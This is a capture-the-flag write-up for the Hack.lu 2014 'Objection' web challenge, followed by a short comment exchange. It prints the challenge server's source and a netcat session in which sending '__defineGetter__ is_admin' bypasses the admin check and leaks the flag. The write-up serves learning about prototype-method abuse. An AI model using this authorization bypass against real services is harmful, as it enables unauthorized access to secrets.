Hack.lu CTF 2014 web-150: Objection

This guard talks a weird dialect. And why does he talk in such a complicated way? Download
nc wildwildweb.fluxfingers.net 1408

Source code of guard:

const net = require \net
const BufferStream = require \bufferstream
admin_password = (require \fs).readFileSync \admin_password, \utf8
server = net.createServer (con) ->
  console.log 'client connected'
  con.write 'hello!\n'
  client_context =
    is_admin: false
    token: (require \fs).readFileSync \secret_token, \utf8
    login: ([password], cb) ->
      if password == admin_password
        cb "Authentication successful"
        @is_admin = true
        cb "Authentication failed"
    get_token: ([], cb) ->
      if not @is_admin then return cb "You are not authorized to perform this action."
      cb "The current token is #{@token}"
  in_stream = new BufferStream {encoding:\utf8, size:\flexible}
  con.pipe in_stream
  <- in_stream.split \\n
  it .= toString \utf8
  console.log "got line: #{it}"
  [funcname, ...args] = it.split ' '
  if typeof client_context[funcname] != \function
    return con.write "error: unknown function #funcname\n"
  client_context[funcname] args, ->
    con.write "#it\n"
server.listen 1408, ->
  console.log 'server bound'

Given code written on COCO (CoffeeScript dialect). You can translate code to js, if you don’t know coffeescript (like me :)) ).

➜  ~  coco -c objection_4966674d17ff296939c0e3dfccfe87ed.co

JS version
As you can see – we can call only methods from client_context.

There are no some interesting methods in client_context, which can help us bypass authorization. But… client_context inherited from Object, so we can use toString and other methods. Nice :) We can call __defineGetter__, which can help us to change getter’s value of is_admin to true.

return client_context[funcname](args, function(it){
        return con.write(it + "\n");

If we send __defineGetter__ as a command with is_admin argument, we can change is_admin value to con.write(…) (which will return true if everything is ok with network). Explanation:

return client_context.__defineGetter__("is_admin", function(it){
        return con.write(it + "\n");


Legend: S – Server, C – Client.

➜  ~  nc wildwildweb.fluxfingers.net 1408
S: hello!
C: __defineGetter__ is_admin
C: get_token
S: undefined
S: The current token is flag{real_cowboys_dont_use_object_create_null}


  1. Actually, the ‘explanation’ code at the end is incorrect. The first argument to __defineGetter__ is not 'is_admin' but rather [ 'is_admin' ]. This has the same effect though, because String([ 'is_admin' ]) == 'is_admin'.

    • Alexey Kaminsky

      24.10.2014 at 09:00

      Code was written this way to be more clear :) Thank you for the feedback

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.